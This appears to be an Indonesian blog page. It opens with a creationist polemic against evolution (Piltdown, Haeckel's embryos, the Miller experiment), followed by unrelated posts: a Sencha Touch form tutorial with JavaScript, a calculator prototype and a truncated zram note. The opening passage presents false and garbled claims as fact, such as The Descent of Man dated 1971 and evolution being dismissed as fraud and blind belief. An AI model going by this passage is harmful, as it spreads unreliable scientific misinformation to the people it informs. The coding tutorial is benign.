Gould, "Smith Woodward's Folly", New Scientist, 5 April 1979, hal. 44) Ketika kenyataan ini terungkap, "Manusia Piltdown" dengan segera dikeluarkan dari British Museum yang telah memamerkannya selama lebih dari 40 tahun. Manusia Piltdown merupakan pemalsuan yang dilakukan dengan merekatkan rahang kera pada tengkorak manusia Skandal Piltdown dengan jelas memperlihat-kan bahwa tidak ada yang dapat menghentikan para evolusionis dalam rangka membuktikan teori-teori mereka. Bahkan, skandal ini menunjukkan para evolusionis tidak memiliki penemuan apa pun yang mendukung teori mereka. Karena mereka tidak memiliki bukti apa pun, mereka memilih untuk membuatnya sendiri. KEKELIRUAN PEMIKIRAN TENTANG REKAPITULASI Teori Haeckel ini menganggap bahwa embrio hidup mengalami ulangan proses evolusi seperti yang dialami moyang-palsunya. Haeckel berteori bahwa selama perkembangan di dalam rahim ibunya, embrio manusia kali pertama memperlihatkan sifat-sifat seekor ikan, lalu reptil, dan akhirnya manusia. Sejak itu telah dibuktikan bahwa teori ini sepenuhnya omong kosong. Kini telah diketahui bahwa “insang-insang” yang disangka muncul pada tahap-tahap awal embrio manusia ternyata adalah taraf-taraf awal saluran telinga dalam, kelenjar paratiroid, dan kelenjar gondok. Bagian embrio yang diserupakan dengan “kantung kuning telur” ternyata kantung yang menghasilkan darah bagi si janin. Bagian yang dikenali sebagai “ekor” oleh Haeckel dan para pengikutnya sebenarnya tulang belakang, yang mirip ekor hanya karena tumbuh mendahului kaki. Inilah fakta-fakta yang diterima luas di dunia lmiah, dan bahkan telah diterima oleh para evolusionis sendiri. Dua pemimpin neo-Darwinis, George Gaylord Simpson dan W. Beck telah mengakui: Haeckel keliru menyatakan azas evolusi yang terlibat. Kini telah benar-benar diyakini bahwa ontogeni tidak mengulangi filogeni Segi menarik lain dari “rekapitulasi” adalah Ernst Haeckel sendiri, seorang pemalsu yang mereka-reka gambar-gambar demi mendukung teori yang diajukannya. Pemalsuan Haeckel bermaksud menunjukkan bahwa embrio-embrio ikan dan manusia mirip satu sama lain. Pada terbitan 5 September 1997 majalah ilmiah Science, sebuah artikel diterbitkan yang mengungkapkan bahwa gambar-gambar embrio Haeckel adalah karya penipuan. Artikel berjudul “Haeckel’s Embryos: Fraud Rediscovered” (Embrio-embrio Haeckel: Mengungkap Ulang Sebuah Penipuan) ini mengatakan: Kesan yang dipancarkan [gambar-gambar Haeckel] itu, bahwa embrio-embrio persis serupa, adalah keliru, kata Michael Richardson, seorang ahli embriologi pada St. George’s Hospital Medical School di London… Maka, ia dan para sejawatnya melakukan penelitian perbandingan, memeriksa kembali dan memfoto embrio-embrio yang secara kasar sepadan spesies dan umurnya dengan yang dilukis Haeckel. Sim salabim dan perhatikan! Embrio-embrio “sering dengan mengejutkan tampak berbeda,” lapor Richardson dalam Anatomy and Embryology terbitan Agustus [1997]. Pada terbitan 5 September 1997, majalah terkemuka Science menyajikan sebuah artikel yang menyingkapkan bahwa gambar-gambar embrio milik Haeckel telah dipalsukan. Artikel ini menggambarkan bagaimana embrio-embrio sebenarnya sangat berbeda satu sama lain... Penelitian di tahun-tahun terakhir telah menunjukkan bahwa embrio-embrio dari spesies yang berbeda tidak saling mirip, seperti yang ditunjukkan Haeckel. Perbedaan besar di antara embrio-embrio mamalia, reptil, dan kelelawar di atas adalah contoh nyata hal ini Science menjelaskan bahwa, demi menunjukkan bahwa embrio-embrio memiliki kemiripan, Haeckel sengaja menghilangkan beberapa organ dari gambar-gambarnya atau menambahkan organ-organ khayalan. Belakangan, di dalam artikel yang sama, informasi berikut ini diungkapkan: Bukan hanya menambahkan atau mengurangi ciri-ciri, lapor Richardson dan para sejawatnya, namun Haeckel juga mengubah-ubah ukuran untuk membesar-besarkan kemiripan di antara spesies-spesies, bahkan ketika ada perbedaan 10 kali dalam ukuran. Haeckel mengaburkan perbedaan lebih jauh dengan lalai menamai spesies dalam banyak kesempatan, seakan satu wakil sudah cermat bagi keseluruhan kelompok hewan. Dalam kenyataannya, Richardson dan para sejawatnya mencatat, bahkan embrio-embrio hewan yang berkerabat dekat seperti ikan cukup beragam dalam penampakan dan urutan perkembangannya. Artikel Science membahas bagaimana pengakuan-pengakuan Haeckel atas masalah ini ditutup-tutupi sejak awal abad ke-20, dan bagaimana gambar-gambar palsu ini mulai disajikan sebagai fakta ilmiah di dalam buku-buku acuan: Pengakuan Haeckel lenyap setelah gambar-gambarnya kemudian digunakan dalam sebuah buku tahun 1901 berjudul Darwin and After Darwin (Darwin dan Sesudahnya) dan dicetak ulang secara luas di dalam buku-buku acuan biologi berbahasa Inggris. Singkatnya, fakta bahwa gambar-gambar Haeckel dipalsukan telah muncul di tahun 1901, tetapi seluruh dunia ilmu pengetahuan terus diperdaya olehnya selama satu abad. TATKALA MANUSIA MENCARI NENEK MOYANGNYA Walaupun para evolusionis tidak berhasil menemukan bukti ilmiah untuk mendukung teori mereka, mereka sangat berhasil dalam satu hal: propaganda. Unsur paling penting dari propaganda ini adalah gambar-gambar palsu dan bentuk tiruan yang dikenal dengan "rekonstruksi". Rekonstruksi dapat diartikan sebagai membuat lukisan atau membangun model makhluk hidup berdasarkan satu potong tulang yang ditemukan dalam penggalian. "Manusia-manusia kera" yang kita lihat di koran, majalah atau film semuanya adalah rekonstruksi. Ketika mereka tidak mampu menemukan makhluk "setengah manusia setengah kera" dalam catatan fosil, mereka memilih membohongi masyarakat dengan membuat gambar-gambar palsu. Persis seperti pernyataan evolusionis yang lain tentang asal-usul makhluk hidup, pernyataan mereka tentang asal-usul manusia pun tidak memiliki landasan ilmiah. Berbagai penemuan menunjukkan bahwa "evolusi manusia" hanyalah dongeng belaka. Darwin mengemukakan pernyataannya bahwa manusia dan kera berasal dari satu nenek moyang yang sama dalam bukunya The Descent of Man yang terbit tahun 1971. Sejak saat itu, para pengikut Darwin telah berusaha untuk memperkuat kebenaran pernyataan tersebut. Tetapi, walaupun telah melakukan berbagai penelitian, pernyataan "evolusi manusia" belum pernah dilandasi oleh penemuan ilmiah yang nyata, khususnya di bidang fosil. Penemuan ini jelas menunjukkan pendapat tentang sifat-sifat perolehan yang terkumpul dari satu keturunan ke turunan berikutnya, sehingga memunculkan spesies baru, tidaklah mungkin. Dengan kata lain, mekanisme seleksi alam rumusan Darwin tidak berkemampuan mendorong terjadinya evolusi. Jadi, teori evolusi Darwin sesungguhnya telah ambruk sejak awal di abad ke-20 dengan ditemukannya ilmu genetika. Segala upaya lain dari para pendukung evolusi di abad ke-20 selalu gagal. Teori evolusi menyatakan bahwa kelompok makhluk hidup yang berbeda-beda (filum) terbentuk dan berkembang dari satu nenek moyang bersama, dan berubah menjadi bentuk yang semakin berbeda satu sama lain seiring berlalunya waktu. Gambar paling atas menampilkan pernyataan ini, yang dapat digambarkan menyerupai proses percabangan pohon. Namun, fakta catatan fosil malah membuktikan kebalikannya. Sebagaimana diperlihatkan gambar paling bawah, beragam kelompok makhluk hidup muncul serentak dan tiba-tiba dengan ciri tubuh masing-masing yang khas. Sekitar 100 filum mendadak muncul di zaman Kambrium. Setelah itu, jumlah mereka menurun (karena punahnya sejumlah filum) , dan bukannya meningkat. YANG TERSEMBUNYI DI BALIK PERCOBAAN MILLER Penelitian yang paling diterima luas tentang asal usul kehidupan adalah percobaan yang dilakukan peneliti Amerika, Stanley Miller, di tahun 1953. (Percobaan ini juga dikenal sebagai “percobaan Urey-Miller” karena sumbangsih pembimbing Miller di University of Chicago, Harold Urey). Percobaan inilah satu-satunya “bukti” milik para evolusionis yang digunakan untuk membuktikan pendapat tentang “evolusi kimiawi”. Mereka mengemukakannya sebagai tahapan awal proses evolusi yang mereka yakini, yang akhirnya memunculkan kehidupan. Melalui percobaan, Stanley Miller bertujuan membuktikan bahwa di bumi yang tak berkehidupan miliaran tahun lalu, asam amino, satuan molekul pembentuk protein, dapat terbentuk dengan sendirinya secara alamiah tanpa campur tangan sengaja apa pun di luar kekuatan alam. Dalam percobaannya, Miller menggunakan campuran gas yang ia yakini terdapat pada bumi purba (yang kemudian terbukti tidak tepat). Campuran ini terdiri dari gas amonia, metana, hidrogen, dan uap air. Karena gas-gas ini takkan saling bereaksi dalam lingkungan alamiah, ia menambahkan energi ke dalamnya untuk memicu reaksi antar gas-gas tersebut. Dengan beranggapan energi ini dapat berasal dari petir pada atmosfer purba, ia menggunakan arus listrik untuk tujuan tersebut. Atmosfer purba yang Miller coba tiru dalam percobaannya tidaklah sesuai dengan kenyataan. Di tahun 1980-an, para ilmuwan sepakat bahwa seharusnya gas nitrogen dan karbon dioksidalah yang digunakan dalam lingkungan buatan itu dan bukan metana serta amonia. Ilmuwan Amerika, J. P. Ferris dan C. T. Chen mengulangi percobaan Miller dengan menggunakan lingkungan atmosfer yang berisi karbon dioksida, hidrogen, nitrogen, dan uap air; dan mereka tidak mampu mendapatkan bahkan satu saja molekul asam amino. (J. P. Ferris, C. T. Chen, "Photochemistry of Methane, Nitrogen, and Water Mixture As a Model for the Atmosphere of the Primitive Earth," Journal of American Chemical Society, vol. 97:11, 1975, h. 2964.) Terdapat sejumlah temuan yang menunjukkan bahwa kadar oksigen di atmosfer kala itu jauh lebih tinggi daripada yang sebelumnya dinyatakan para evolusionis. Berbagai penelitian juga menunjukkan, jumlah radiasi ultraviolet yang kala itu mengenai bumi adalah 10.000 lebih tinggi daripada perkiraan para evolusionis. Radiasi kuat ini dipastikan telah membebaskan oksigen dengan cara menguraikan uap air dan karbon dioksida di atmosfer. Keadaan ini sama sekali bertentangan dengan percobaan Miller, di mana oksigen sama sekali diabaikan. Jika oksigen digunakan dalam percobaannya, metana akan teruraikan menjadi karbon dioksida dan air, dan amonia akan menjadi nitrogen dan air. Sebaliknya, di lingkungan bebas oksigen, takkan ada pula lapisan ozon; sehingga asam-asam amino akan segera rusak karena terkena sinar ultraviolet yang paling kuat tanpa perlindungan dari lapisan ozon. Dengan kata lain, dengan atau tanpa oksigen di bumi purba, hasilnya adalah lingkungan mematikan yang bersifat merusak bagi asam amino. Anehnya, mengapa percobaan Miller masih saja dimuat di buku-buku pelajaran dan dianggap sebagai bukti penting asal usul kehidupan secara kimiawi? Ini sekali lagi menunjukkan betapa evolusi bukanlah teori ilmiah, melainkan keyakinan buta yang tetap dipertahankan meskipun bukti menunjukkan hal sebaliknya. Kalangan masyarakat awam adalah yang umumnya tidak mengetahui kenyataan ini, dan menganggap pernyataan evolusi manusia didukung oleh berbagai bukti kuat. Anggapan yang salah tersebut terjadi karena masalah ini seringkali dibahas di media masa dan disampaikan sebagai fakta yang telah terbukti. Tetapi mereka yang benar-benar ahli di bidang ini mengetahui bahwa kisah "evolusi manusia" tidak memiliki dasar ilmiah.

Januari 13, 2012

cara membuat form dengan sencha touch

SEnChA-ToUCh

Sencha Touch adalah kerangka HTML5 untuk pengembangan aplikasi berbasis sentuhan.
Sebuah aplikasi yang ditulis menggunakan kerangka kerja ini dapat dijalankan-tanpa ada perubahan-di IOS, Android,
dan Blackberry perangkat berbasis sentuhan. Kerangka kerja ini datang bersama dengan berbagai built-in UI
komponen mirip dengan orang yang kita lihat pada platform mobile yang berbeda, dirancang dengan baik
dengan paket data yang efisien untuk bekerja dengan beragam sumber data sisi klien atau server-side.
Selain itu, kerangka kerja ini juga menawarkan API untuk bekerja dengan DOM dan itu membawa pada
diperpanjang untuk setiap aspek , yang merupakan kombinasi yang setiap perusahaan mencari
dan mengharapkan kerangka kerja.
yang dilakukan pertama kali adalah
1.buka teks editor
2.tulis source codenya berikut ini:
Ext.setup({
onReady: function() {
var form;
//form and related fields config
var formBase = {
//enable vertical scrolling in case the form exceeds the page height
scroll:'vertical',
url: 'http://localhost/test.php',
items: [{//add a fieldset
xtype: 'fieldset',
title: 'Personal Info',
instructions: 'Please enter the information above.',
//apply the common settings to all the child items of the fieldset
defaults: {
required: true,
//required field
labelAlign: 'left',
labelWidth: '40%'
},
items: [
{//add a text field
xtype: 'textfield',
name : 'name',
label: 'Name',
useClearIcon: true,//shows the clear icon in the field when user types
autoCapitalize : false
}, {//add a password field
xtype: 'passwordfield',
name : 'password',
label: 'Password',
useClearIcon: false
}, {
xtype: 'passwordfield',
name : 'reenter',
label: 'Re-enter Password',
useClearIcon: true
}, {//add an email field
xtype: 'emailfield',
name : 'email',
label: 'Email',
placeHolder: 'you@sencha.com',
useClearIcon: true
}]
}
],
listeners : {
//listener if the form is submitted, successfully
submit : function(form, result){
console.log('success', Ext.toArray(arguments));
},
//listener if the form submission fails
exception : function(form, result){
console.log('failure', Ext.toArray(arguments));
}
},
//items docked to the bottom of the form
dockedItems: [
{
xtype: 'toolbar',
dock: 'bottom',
items: [
{
text: 'Reset',
handler: function() {
form.reset(); //reset the fields
}
},
{
text: 'Save',
ui: 'confirm',
handler: function() {
//submit the form data to the url
form.submit();
}
}
]
}
]
};
if (Ext.is.Phone) {
formBase.fullscreen = true;
} else { //if desktop
Ext.apply(formBase, {
autoRender: true,
floating: true,
modal: true,
centered: true,
hideOnMaskTap: false,
height: 385,
width: 480
});
}
//create form panel
form = new Ext.form.FormPanel(formBase);
form.show(); //render the form to the body
}
});
3simpan file dengan nama yang kamu sukai jangan lupa belakangnya .js kalo aku memilih ch106.js
4 sisipkan kedalam html
contohnya seperti ini

simpan dengan terserah kamu pilih yang mana dengan diahiri .html kalo aku milih sc2.html
lalu jalankan dengan browser di emulator, atau diberikan ke server lalu di test dengan entah itu hp android, tablet blackbery, ataupun iphone dan ipad kalau terpaksa ga ada pake aja google chrome
inilah hasilnya:

Januari 04, 2012

inilah kalkulator




prototype kalkulator


inilah prototype kalkulator scientificq, sebenarnya masih perlu penambahan untuk sementara cukup dulu








mencoba menggunakan zram di raspberry pi

saya beberapa hari yang lalu mencoba mengaktifkan zram untuk membuat cadangan jika ram udah hampir penuh untuk dipindah ke zram, sejauh ini...